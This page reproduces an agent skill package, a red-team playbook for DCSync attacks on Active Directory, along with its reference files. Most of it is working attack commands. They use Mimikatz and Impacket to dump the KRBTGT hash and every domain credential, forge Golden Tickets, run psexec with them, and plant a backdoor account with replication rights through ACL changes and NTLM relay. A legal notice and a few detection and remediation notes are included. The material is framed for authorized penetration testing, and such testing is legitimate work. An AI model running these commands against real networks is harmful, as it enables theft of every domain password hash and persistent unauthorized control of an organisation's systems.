What it does. Perform DCSync attacks by abusing MS-DRSR replication rights (DS-Replication-Get-Changes/-All) to impersonate a Domain Controller and extract KRBTGT, Domain Admin, and service account hashes for Golden Ticket forging, typically with Mimikatz. Use in authorized engagements after finding principals with replication rights, to establish long-term domain persistence, or to validate detections for replication abuse. Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).

Install

• npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill conducting-domain-persistence-with-dcsync, or copy the skill folder into ~/.claude/skills/conducting-domain-persistence-with-dcsync/.
• Raw file: curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-domain-persistence-with-dcsync/SKILL.md

SKILL.md (verbatim)

name: conducting-domain-persistence-with-dcsync
description: Perform DCSync attacks by abusing MS-DRSR replication rights (DS-Replication-Get-Changes/-All) to impersonate a Domain Controller and extract KRBTGT, Domain Admin, and service account hashes for Golden Ticket forging, typically with Mimikatz. Use in authorized engagements after finding principals with replication rights, to establish long-term domain persistence, or to validate detections for replication abuse.
domain: cybersecurity
subdomain: red-teaming
tags:
- red-team
- active-directory
- dcsync
- persistence
- credential-dumping
- golden-ticket
- mimikatz
version: '1.0'
author: mahipal
license: Apache-2.0
d3fend_techniques:
- Application Protocol Command Analysis
- Network Isolation
- Network Traffic Analysis
- Client-server Payload Profiling
- Platform Monitoring
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07
mitre_attack:
- T1003.006
- T1207
- T1098

Conducting Domain Persistence with DCSync

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Overview

DCSync is an attack technique that abuses the Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to impersonate a Domain Controller and request password data from the target DC. The attack was introduced by Benjamin Delpy (Mimikatz author) and Vincent Le Toux, leveraging the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights. Any principal (user or computer) with these rights can replicate password hashes for any account in the domain, including the KRBTGT account. With the KRBTGT hash, attackers can forge Golden Tickets for indefinite domain persistence. DCSync is categorized as MITRE ATT&CK T1003.006 and is a critical post-exploitation technique used by APT groups including APT28 (Fancy Bear), APT29 (Cozy Bear), and FIN6.

When to Use

• When conducting security assessments that involve conducting domain persistence with dcsync
• When following incident response procedures for related security events
• When performing scheduled security testing or auditing activities
• When validating security controls through hands-on testing

Prerequisites

• Familiarity with red teaming concepts and tools
• Access to a test or lab environment for safe execution
• Python 3.8+ with required dependencies installed
• Appropriate authorization for any testing activities

Objectives

• Identify accounts with DCSync (replication) rights in Active Directory
• Perform DCSync using Mimikatz or Impacket's secretsdump.py
• Extract the KRBTGT account hash for Golden Ticket creation
• Dump all domain user password hashes for credential analysis
• Forge Golden Tickets for persistent domain access
• Grant DCSync rights to a controlled account for alternative persistence
• Document the attack chain and persistence mechanisms

MITRE ATT&CK Mapping

• T1003.006 - OS Credential Dumping: DCSync
• T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
• T1222.001 - File and Directory Permissions Modification: Windows
• T1098 - Account Manipulation
• T1078.002 - Valid Accounts: Domain Accounts

Workflow

Phase 1: Identify Accounts with DCSync Rights

1. Enumerate principals with replication rights:

   # Using PowerView
   Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
     Where-Object { ($_.ObjectAceType -match 'Replicating') -and
                    ($_.ActiveDirectoryRights -match 'ExtendedRight') } |
     Select-Object SecurityIdentifier, ObjectAceType
   
   # Using BloodHound Cypher query
   MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain)
   RETURN u.name, d.name
   

2. Using Impacket's FindDelegation or custom LDAP query:

   # Check with Impacket
   findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
   

3. Default accounts with DCSync rights:
   • Domain Admins
   • Enterprise Admins
   • Domain Controllers group
   • SYSTEM on Domain Controllers

Phase 2: DCSync Credential Extraction

1. Using Mimikatz (Windows):

   # Dump specific account (KRBTGT for Golden Ticket)
   mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt"
   
   # Dump Domain Admin
   mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator"
   
   # Dump all domain accounts
   mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv"
   

2. Using Impacket secretsdump.py (Linux):

   # Dump all credentials
   secretsdump.py domain.local/admin:'Password123'@10.10.10.1
   
   # Dump specific user
   secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1
   
   # Dump only NTLM hashes (no Kerberos keys)
   secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1
   
   # Using Kerberos authentication
   export KRB5CCNAME=admin.ccache
   secretsdump.py -k -no-pass domain.local/admin@DC01.domain.local
   

Phase 3: Golden Ticket Creation

1. Using Mimikatz with extracted KRBTGT hash:

   # Create Golden Ticket
   mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \
     /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
     /krbtgt:<krbtgt_ntlm_hash> /ptt"
   
   # Create with specific group memberships
   mimikatz.exe "kerberos::golden /user:fakeadmin /domain:domain.local \
     /sid:S-1-5-21-XXXXXXXXXX \
     /krbtgt:<krbtgt_ntlm_hash> \
     /groups:512,513,518,519,520 /ptt"
   

2. Using Impacket ticketer.py (Linux):

   # Create Golden Ticket
   ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid S-1-5-21-XXXXXXXXXX \
     -domain domain.local administrator
   
   # Use the ticket
   export KRB5CCNAME=administrator.ccache
   psexec.py -k -no-pass domain.local/administrator@DC01.domain.local
   

Phase 4: Persistence via DCSync Rights

1. Grant DCSync rights to a controlled account for persistence:

   # Using PowerView - Add DS-Replication-Get-Changes-All rights
   Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \
     -PrincipalIdentity backdoor_user -Rights DCSync
   
   # Verify rights were added
   Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
     Where-Object { $_.SecurityIdentifier -match "backdoor_user_SID" }
   

2. Using ntlmrelayx.py for automated DCSync rights escalation:

   # Relay authentication to add DCSync rights
   ntlmrelayx.py -t ldap://DC01.domain.local --escalate-user backdoor_user
   

Tools and Resources

Critical Hashes to Extract

Detection Signatures

Validation Criteria

• Accounts with DCSync rights enumerated
• KRBTGT hash extracted via DCSync
• All domain credentials dumped successfully
• Golden Ticket forged and validated for DA access
• DCSync rights persistence mechanism established (if in scope)
• Access to Domain Controller validated with Golden Ticket
• Evidence documented with hash values and timestamps
• Remediation recommendations provided (double KRBTGT reset, ACL audit)

Other files in this skill

• LICENSE
• assets/template.md
• references/api-reference.md
• references/standards.md
• references/workflows.md
• scripts/agent.py
• scripts/process.py

assets/template.md (verbatim)

DCSync Attack Report Template

Target Domain

Extracted Credentials

Persistence Mechanisms

Remediation

references/api-reference.md (verbatim)

DCSync Persistence Detection — API Reference

Libraries

Key ldap3 Methods

Critical GUIDs for DCSync Detection

Windows Event IDs

MITRE ATT&CK Mapping

External References

• impacket secretsdump.py
• ldap3 Documentation
• Microsoft DCSync Detection

references/standards.md (verbatim)

Standards and References - DCSync Domain Persistence

MITRE ATT&CK References

Key Research

• MITRE ATT&CK T1003.006: https://attack.mitre.org/techniques/T1003/006/
• Netwrix: DCSync Attack Using Mimikatz Detection
• JumpCloud: What Is DCSync? Critical AD Attack Explained
• The Hacker Recipes: DCSync technique documentation
• Atomic Red Team T1003.006 test procedures

Threat Actor Usage

• APT28 (Fancy Bear) - DCSync for credential harvesting
• APT29 (Cozy Bear) - SolarWinds campaign used DCSync
• FIN6 - Financial cybercrime group
• Wizard Spider - Ryuk ransomware campaigns

references/workflows.md (verbatim)

Workflows - DCSync Domain Persistence

DCSync Attack Chain

1. Prerequisites
   ├── Domain Admin or account with replication rights
   ├── Network access to Domain Controller (TCP/135, dynamic RPC)
   └── Tool: Mimikatz (Windows) or secretsdump.py (Linux)

2. Credential Extraction
   ├── Extract KRBTGT hash (Golden Ticket capability)
   ├── Extract Administrator hash (immediate DA access)
   ├── Extract all domain hashes (comprehensive dump)
   └── Extract service account hashes (lateral movement)

3. Golden Ticket Persistence
   ├── Forge Golden Ticket with KRBTGT hash
   ├── Set arbitrary user, SID, and group memberships
   ├── Import ticket into current session
   └── Access any resource in the domain

4. DCSync Rights Persistence
   ├── Create low-profile account in AD
   ├── Grant DS-Replication-Get-Changes-All rights
   ├── Verify rights with ACL enumeration
   └── Account can now perform DCSync independently

Golden Ticket Lifecycle

Creation: KRBTGT hash + Domain SID → Golden Ticket (10-year validity)
Usage: Import ticket → Access any service in domain
Survival: Persists through password resets (except double KRBTGT reset)
Detection: Anomalous TGT lifetime, non-existent users, impossible SIDs
Cleanup: Double KRBTGT password reset (with 10+ hour gap between resets)

Back to mukul975/Anthropic-Cybersecurity-Skills (817 security skills) or Agent skills.